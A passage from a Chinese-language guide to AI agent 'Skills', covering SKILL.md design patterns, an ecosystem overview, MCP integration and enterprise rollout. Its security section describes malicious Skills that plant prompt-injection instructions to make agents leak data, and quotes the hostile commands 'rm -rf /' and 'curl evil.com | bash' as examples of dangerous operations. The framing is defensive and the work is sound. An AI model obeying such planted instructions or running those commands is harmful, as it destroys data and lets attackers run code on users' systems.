  3. 单一职责(Single Responsibility) —— 专才比全才更可靠。一个 Skill 应该聚焦一类明确任务(如"代码审查"、"PDF 表格提取"),不要写成"万能助手"。单一职责让 Agent 容易触发、容易验证、容易迭代,也让"一个 Skill 出问题不影响其他"成为可能。

12.3 Skills vs Prompt vs Tool vs MCP vs Plugin 对比表

概念粒度 / 形式谁来执行典型内容触发机制
Prompt单段文本纯 LLM一次性指令、上下文描述用户在对话中直接输入
Tool一个具体函数 / API外部系统 / 代码HTTP 请求、DB 查询、bash 命令LLM 自主 function_call
MCP Server一组工具的标准化协议Node.js / Python 服务数据库连接、API 封装、auth 鉴权Agent 启动时发现工具列表
Plugin一组工具 + UI + 配置应用平台 + LLM多个 API、配置项、用户界面用户在 UI 中启用 / 禁用
Skill任务工作流 + 说明书 + 资源LLM 主导 + 工具辅助SKILL.md + scripts/ + 模板 + 规则description 语义匹配 + 渐进式披露

核心洞察:Skill 不是 MCP 的替代,而是 LLM 层的"操作手册",MCP 解决"Agent 能干什么",Skill 解决"Agent 怎么干得专业"。MCP 把工具(键盘/鼠标)连进来,Skill 教 Agent 按公司 SOP 使用这些工具。

十三、Skills 生态全景(2025.10 - 2026.2)

从 2025 年 10 月发布到 2026 年 2 月,短短 4 个月 Skills 已形成完整的"官方 + 社区 + 聚合 + 平台"四层生态。

13.1 官方与官方相关

13.2 社区精选高 star 仓库

仓库核心定位Star 数(截至 2026 H1)
obra/superpowers把 Skills 做成软件开发方法论,7 阶段基本工作流 + 14 个核心 Skill(brainstorming / writing-plans / TDD / subagent-driven-development / systematic-debugging / verification-before-completion / using-git-worktrees / writing-skills 等)27k+(部分榜单 79k,1 周新增 +22k)
muratcankoylan/Agent-Skills-for-Context-Engineering上下文工程技能集(10 个 Skill):context-fundamentals / context-degradation / context-compression / context-optimization / multi-agent-patterns / memory-systems / tool-design / evaluation / advanced-evaluation / project-development11.6k+(2 周 +6k)
ComposioHQ/awesome-claude-skills1000+ 生产级 Skills + 78 个 SaaS App 自动化 Rube MCP 集成(HubSpot / Salesforce / Slack / Gmail / Notion / Linear / GitHub / Stripe 等)21.7k+
JackyST0/awesome-agent-skills跨平台 Agent Skill 合集(Claude / Codex / Copilot / VS Code),社区精选 + 一键安装脚本持续维护
gotalab/skillport跨平台 Skills 管理中枢:批量导入 / GitHub 同步 / Claude Code + Codex 桥接 / 团队共享企业首选
heilcheng/awesome-agent-skillsAwesome list 导航 + 入门教程 + 最佳实践社区驱动
huggingface/skillsHuggingFace 跨平台 Skills,支持 Claude / OpenAI / HF Models / Inference API6.3k+
K-Dense-AI/claude-scientific-skills科研 / 数据分析垂直:140+ 即用型科学技能(生物信息学 / 化学 / 医学 / ML / 材料学 / 物理)5.8k+

13.3 聚合站 / 技能市场

13.4 跨平台支持时间线

平台支持时间支持方式
Claude Code2025-10(发布即支持)原生,内置 Skill() 工具
Claude.ai2025-10网页端配置 → 上传 ZIP
Claude API2025-10Skills API 编程加载
Codex CLI / Desktop2025-12[features] skills=true 实验性功能
Cursor2025-12(Nightly)Agent chat 中 /add-plugin
Cline2026-01通过 Bash 调用 fetch 指令引导
OpenCode2026-01~/.config/opencode/skills/ 目录
Antigravity2026-02agy plugin install <url>
Gemini CLI2026-02gemini extensions install
Trae / CodeBuddy / WorkBuddy2026-01 - 2026-03SkillHub 内置市场 + 兼容 Claude Code Skills
OpenSkills(Cross-Adapter)2026-01CLI 通用适配器,任何 Bash-capable Agent 都能用

十四、Skills 设计模式(5 大经过验证的模式)

参考 obra/superpowers 和 muratcankoylan/Agent-Skills-for-Context-Engineering 等实战项目,以下 5 个设计模式已经在生产环境被验证,适合作为新 Skill 设计的起点。

模式 1:顺序工作流编排(客户入职)

业务场景:SaaS 产品的新客户从注册到首次成功使用的 5 步流程(注册 → 邮箱验证 → 团队邀请 → 数据导入 → 首次价值动作),每步都可能失败,需要 Agent 引导式重试。

SKILL.md 设计要点:

---
name: customer-onboarding
description: 在新用户注册 SaaS 产品、需要引导完成入职流程、或用户提到"不知道怎么开始"时触发。覆盖注册验证、团队邀请、数据导入、首次价值动作 5 步。
---

# Customer Onboarding Flow

## 触发时机
- 用户刚完成注册
- 用户卡在某一步超过 10 分钟
- 用户主动求助 "怎么开始"

## 工作流(5 步,每步都有失败重试)

### Step 1: 验证邮箱
- 调用 resend_verification_email tool
- 等待用户点击,超时 10 分钟 → 重发 1 次 + 推送提醒
- 失败: 记录到 onboarding_failures 集合,通知销售跟进

### Step 2: 团队邀请
- 询问用户公司规模(1-10 / 11-50 / 50+)
- 根据规模生成定制邀请邮件模板
- 询问邮箱列表,批量发送

### Step 3: 数据导入
- 提供 3 种方式:CSV 上传 / 第三方连接(Salesforce/HubSpot) / 手动录入
- 根据数据量建议方式:<1000 行用 CSV,>1000 用 API

### Step 4: 首次价值动作(Aha Moment)
- 引导完成"创建第一个 [核心功能]"
- 完成后展示"你已超过 80% 同类用户"激励

### Step 5: 7 天回访
- 在用户第 7 天推送使用情况报告
- 提供高级功能试用邀请

## 反模式
- 不要跳过 Step 1-4 直接到 Step 5
- 不要把 5 步合并成 1 步
- 不要自动填写未确认的字段

模式 2:多 MCP 协调(设计转开发)

业务场景:把 Figma 设计稿自动转换为 React 组件代码,需要协调 Figma MCP + GitHub MCP + 内部组件库 MCP。

核心思想:Skill 编排 MCP 之间的数据流,而不是直接调用外部 API。

---
name: figma-to-react
description: 当用户提供 Figma 设计稿 URL 并要求生成 React 组件代码时触发。编排 Figma MCP + GitHub MCP + 组件库 MCP,产出可合并的 PR。
---

# Figma → React 转换

## 触发条件
- 用户提供 figma.com/file/... 链接
- 用户请求 "把这个设计稿转成代码"

## MCP 编排(3 阶段)

### Stage 1: 设计解析(Figma MCP)
- 调用 figma.get_file 拉取设计稿结构
- 提取:frame 尺寸、颜色 token、字体、组件实例
- 输出 JSON 设计描述

### Stage 2: 组件匹配(内部组件库 MCP)
- 把设计 token 映射到项目组件库
- 例: 背景色 #3B82F6 → ButtonPrimary
- 例: 16px 圆角 → RoundedMd
- 输出组件依赖清单

### Stage 3: 代码生成 + PR(GitHub MCP)
- 基于组件依赖生成 React + Tailwind 代码
- 调用 github.create_pull_request 自动开 PR
- PR 描述包含:原设计稿链接、组件映射表、人工 review checklist

模式 3:迭代式优化(报告生成)

业务场景:周报 / 月报 / 投资分析报告,需要 Agent 多轮迭代提升质量。

核心模式:v0 → 自评 → v1 → 外部反馈 → v2 → 定稿。Skill 把这个循环固化为 SOP,而不是靠用户每次提醒"再优化一下"。

---
name: investment-report-generator
description: 用户请求生成投资分析报告 / 周报 / 行业研究报告时触发。强制 3 轮迭代:自评 → 外部反馈 → 定稿。
---

# Investment Report Generator

## 强制 3 轮迭代(不允许跳步)

### Round 0: 初稿(15 分钟内)
- 输入:行业 / 公司 / 时间范围
- 输出:5000-8000 字 Markdown 报告
- 必含章节:行业概述 / 核心数据 / 风险点 / 投资建议

### Round 1: 自评 + 修订(必做)
- LLM-as-Judge 给初稿打分(0-10):准确性 / 完整性 / 逻辑性 / 可读性
- 任意维度 < 7 分 → 必重写该章节
- 必查幻觉:每个数据点必须有可点击的来源链接

### Round 2: 外部反馈
- 邀请 2 位"批判者"角色扮演:
  - 反对派:找 5 个反驳论据
  - 极端派:考虑最坏情况
- 把反对意见整合到"风险提示"章节
- 最终输出:经过 3 轮迭代的 8000-12000 字报告

## 禁用
- 跳过 Round 1 直接交付
- 在 Round 0 引用未经验证的数据
- 把"看起来不错"作为完成信号

模式 4:情境感知工具选择(智能文件存储)

业务场景:Agent 需要在不同存储位置(本地 / S3 / Google Drive / Notion)选择最合适的存储方式。

核心模式:Skill 教 Agent 按文件类型 + 用途 + 用户偏好自动选择工具,而不是硬编码"全部存 S3"。

---
name: intelligent-file-storage
description: 当用户要求保存 / 上传 / 备份文件时触发。根据文件类型、大小、用途、用户上下文选择最合适的存储位置(本地 / S3 / Google Drive / Notion)。
---

# Intelligent File Storage

## 决策矩阵(必须按顺序判断)

| 文件类型 | 大小 | 用途 | 选择 |
|---------|------|------|------|
| 代码文件 | 任意 | 编辑 | 本地 + Git 提交 |
| 设计稿 | 任意 | 共享评审 | Figma / Notion |
| 数据集 | > 100MB | 训练 / 分析 | S3 / OSS |
| 文档(终稿) | < 50MB | 分享 | Google Drive |
| 笔记 / 草稿 | 任意 | 协作 | Notion |
| 截图 / 图片 | < 10MB | 临时 | 本地剪贴板 |
| 视频 | 任意 | 永久 | 腾讯云 VOD / S3 |

## 决策流程
1. 识别文件类型(扩展名 + MIME)
2. 询问用户用途(临时 / 长期 / 共享 / 备份)
3. 评估敏感性(公开 / 内部 / 机密)
4. 根据决策矩阵 + 安全性推荐最优位置
5. 用户确认后执行

模式 5:领域专用智能(金融合规检查)

业务场景:金融行业上线新功能前的合规审查,需要符合 SEC / GDPR / 行业特定法规。

核心模式:Skill 内置领域知识(法规库 + 检查清单),让通用 Agent 变成"金融合规专家"。

---
name: finance-compliance-check
description: 任何金融产品的新功能 / 新合同 / 用户协议上线前触发。覆盖 SEC、GDPR、PCI-DSS、SOX、KYC/AML 5 大合规框架。
---

# Finance Compliance Check

## 必查清单(18 项)

### SEC 合规(4 项)
- [ ] 是否涉及证券发行 / 交易?
- [ ] 是否有充分的风险披露?
- [ ] 投资者适当性匹配吗?
- [ ] 反洗钱筛查完成?

### GDPR 合规(5 项)
- [ ] 收集哪些个人数据? 基础是否合法?
- [ ] 用户是否被明确告知?
- [ ] 是否提供数据导出 / 删除入口?
- [ ] 数据存储是否符合跨境传输规则?
- [ ] DPO 是否评审过?

### PCI-DSS 合规(3 项)
- [ ] 是否处理信用卡数据? 是否走 tokenization?
- [ ] 是否在隔离环境存储?
- [ ] 网络传输是否加密?

### SOX 合规(3 项)
- [ ] 财务报告流程有审计轨迹吗?
- [ ] 关键岗位有职责分离吗?
- [ ] 内部控制是否文档化?

### KYC/AML 合规(3 项)
- [ ] 用户身份验证等级是否匹配风险?
- [ ] 是否接入制裁名单筛查?
- [ ] 异常交易监控规则是否就位?

## 输出
- 通过: 18/18 全过 → 给出合规证书编号
- 警告: 任意项不适用 → 给出风险评估
- 阻断: 任意关键项失败 → 阻止上线,返回修复任务

十五、Skills × MCP 协同架构

Skills 和 MCP 经常被混用,但它们的角色完全不同。用一个比喻能讲清关系:

黄金公式:

Powerful Agent = MCP Tools(能力) + Skill(SOP) + LLM(智力) + Memory(记忆)

15.1 协同架构图

┌─────────────────────────────────────────────────┐
│  LLM(Claude Sonnet 4.5 / GPT-5-Codex / K2.6)  │  ← 智力底座
└─────────────────┬───────────────────────────────┘
                  │ thinking
┌─────────────────▼───────────────────────────────┐
│  Agent Runtime(Claude Code / Codex / Cursor)    │  ← 操作系统
│  ┌──────────────────────────────────────────┐  │
│  │  Skills 系统(渐进式披露)                  │  │  ← 应用软件
│  │  - pdf-skill(描述:处理 PDF 文档)         │  │
│  │  - zendesk-skill(描述:客户支持流程)      │  │
│  │  - code-review-skill(描述:代码审查)       │  │
│  └──────────────────────────────────────────┘  │
│  ┌──────────────────────────────────────────┐  │
│  │  MCP 客户端(发现 / 鉴权 / 调度)          │  │  ← 设备驱动
│  └──────────────────────────────────────────┘  │
└─────────────────┬───────────────────────────────┘
                  │ MCP 协议(JSON-RPC 2.0)
┌─────────────────▼───────────────────────────────┐
│  MCP Server 集群(外设)                          │  ← 键盘 / 鼠标
│  ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐  │
│  │Zendesk │ │ GitHub │ │ Slack  │ │Salesfo.│  │
│  │  MCP   │ │  MCP   │ │  MCP   │ │  MCP   │  │
│  └────────┘ └────────┘ └────────┘ └────────┘  │
└─────────────────────────────────────────────────┘

15.2 真实案例:客户支持 Skill + Zendesk MCP

目标:让 Agent 像资深客服专家一样处理工单。

  1. Skill(customer-support-sop)定义:接到工单后 → 读完整对话历史 → 判断情绪等级(平静/不满/愤怒) → 按情绪选回复模板 → 调 MCP 关单 / 转人工 / 升级。
  2. MCP(zendesk-mcp)提供:search_tickets / get_ticket / reply_ticket / escalate / close 5 个工具。
  3. 协同流程:Skill 的 description 包含"用户提到客服、工单、退款、投诉",MCP 提供执行手段。没有 Skill,Agent 不知道什么时候用什么工具;没有 MCP,Skill 的 SOP 落不到 Zendesk 系统里。

15.3 真实案例:销售 Skill + Apollo MCP

目标:让 Agent 自动做 B2B 销售线索挖掘和初步触达。

反模式警示:不要把所有逻辑塞进 Skill 让它直接调用 HTTP API(执行成功率低,跨 Python 环境脆弱);也不要把所有工作流逻辑写进 MCP Server(失去了渐进式披露的优势)。正确分层是:MCP 管"能做什么",Skill 管"怎么做得专业"

十六、企业级 Skills 落地

Skills 不仅是个人开发者的提效工具,更是企业级 Agent 落地的核心载体。本节讲清企业如何系统化地引入 Skills,以及必须警惕的安全风险。

16.1 三大应用场景

  1. 工作流自动化 —— 把销售、客服、HR、财务、市场等岗位的 SOP 封装为 Skill,让 Agent 替员工跑流程。例:WorkBuddy 企业版把"销售线索评分 / 客户邮件起草 / 会议纪要生成"封装为专家,3 个月人均 Token 消耗增长 10 倍。
  2. 文档处理与知识管理 —— 内部文档格式转换、知识检索、合规审查。例:合同审查 Skill 把法务团队 Know-how 沉淀为可调用的能力,新员工也能输出专业审查意见。
  3. 行业垂直定制 —— 金融 / 医疗 / 法律 / 教育 / 制造等行业的专属知识。例:trailofbits/skills 把 OWASP 安全规范、加密最佳实践、漏洞检测等沉淀为安全工程 Skill,企业级安全代码审查必备。

16.2 1000+ 集成能力:Composio Rube MCP

ComposioHQ/awesome-claude-skills 提供了 Rube MCP 平台,预制 78 个 SaaS App 的自动化 Skill,涵盖:

每个 Skill 包含:工具序列、参数指南、已知陷阱、快速参考表 —— 都是基于真实工具 slug 编写,开箱即用。

16.3 实施 3 步法

  1. 需求梳理与选型 —— 列出本团队的 Top 10 重复性任务,按"频次 × 耗时 × 风险"打分,优先做频次高 / 耗时多 / 风险低的。例:每周 3 次写周报 = 9 分(频次 3 × 耗时 3 × 风险 1)。
  2. 环境配置与权限 —— 安装 Claude Code / Codex / Cursor → 注册插件市场 /plugin marketplace add ... → 团队共享 ~/.claude/skills/ 目录 → 接入企业 SSO(WorkBuddy 企业版支持腾讯统一身份认证)。
  3. 测试优化与监控 —— 跑 1-2 周真实任务 → 收集 false positive / false negative → 调整 SKILL.md description 触发精度 → 接入 Langfuse / LangSmith 做可观测性 → 沉淀内部 Skill 库。

16.4 安全风险与最佳实践

5 大风险(参考 Anthropic 官方安全文档):

  1. Prompt 注入 —— 恶意 Skill 在文件中隐藏恶意指令,诱导 Agent 泄露系统提示或数据。
  2. 数据窃取 —— 诱导 Agent 把敏感数据(密钥、用户信息)通过 MCP 发送到外部服务器。
  3. 权限滥用 —— 过度申请文件操作、bash 命令、代码执行权限,执行危险操作(rm -rf /curl evil.com | bash)。
  4. 依赖投毒 —— Skill 自带的 scripts/ 中包含恶意 Python 包,从 PyPI 安装时拉取后门。
  5. 外部网络调用 —— Skill 指示 Agent 连接到攻击者控制的服务器,泄露内网信息。

6 条最佳实践:

  1. 只信可信来源 —— 优先官方(anthropics/skills)和经过社区验证的高 star 仓库(obra/superpowers 等),不要安装 star < 1000 且无维护的 Skill。
  2. 审计 SKILL.md —— 安装前完整阅读 description 和 Markdown 正文,警惕"看起来无害但实际诱导数据外发"的指令。
  3. 检查 scripts/ 依赖 —— 手动跑一遍 Skill 自带的 Python 脚本,看 requirements.txt 是否有可疑包,是否调用了不明的网络请求。
  4. 注意外部网络调用 —— 任何包含 curlwgetrequests.post 到外部域名的 Skill 都要严格审计。
  5. 沙箱执行 —— WorkBuddy 企业版提供"行为安全 + 权限安全 + 网络安全"三层沙箱;Claude Code / Codex 默认开启 workspace-write + 禁网;生产环境使用 full-auto 必须有 Git 兜底。
  6. SKILL.md 加签名 —— 企业内部 Skill 库用 GPG 签名,CI/CD 流水线验证签名后再加载,防止中间人篡改。

Anthropic 官方建议:"Always read every file in the skill, including the SKILL.md, scripts, images, and other resources. Pay particular attention to code dependencies and bundled resources. Be aware of skills that instruct Claude to connect to potentially untrusted external networks."

视频学习:Karpathy 长片 + 经典 Tokenizer 课

Agent 技术细节很多,最难的其实是「LLM 本身到底在想什么」—— 一个不理解 LLM 行为边界的 Agent 开发者,会把所有失败都归因为 prompt 不够长。这里再放两个 Karpathy 长片,作为本章「为什么 Agent 这么难」的根因补充。

YouTube ⏱ 01:00:00

The spelled-out intro to neural networks and backpropagation

👤 Andrej Karpathy 📅 2022-10-20 🔗 在原平台打开 ↗
展开介绍

Karpathy「Zero to Hero」系列开篇。一小时不依赖 PyTorch / TensorFlow,从零手写一个能跑梯度下降的 micrograd,逐行构建反向传播。理解 backprop 之后,你再看 LangChain / LangGraph 的「链」/「图」/「状态」设计,会发现它本质就是个「可微函数 + 自动微分」的工业级延伸。视频语言:英文(配中文字幕)。

YouTube ⏱ 23:01

How might LLMs store facts | 深度学习系列 DL7

👤 3Blue1Brown 📅 2024-08-28 🔗 在原平台打开 ↗
展开介绍

3b1b 团队用 23 分钟手绘动画讲透 LLM 存储「事实」的机制:为什么模型能记住「Michael Jordan plays basketball」却会编造细节?答案藏在 MLP 的「W₁ × ReLU × W₂」三件套里,以及「叠加(Superposition)」假说。理解这一点,就能解释为什么 Agent 调 LLM 时,context 越具体、prompt 越确定,效果越好—— 因为 context 在「唤醒」特定的 MLP 路径。视频语言:英文。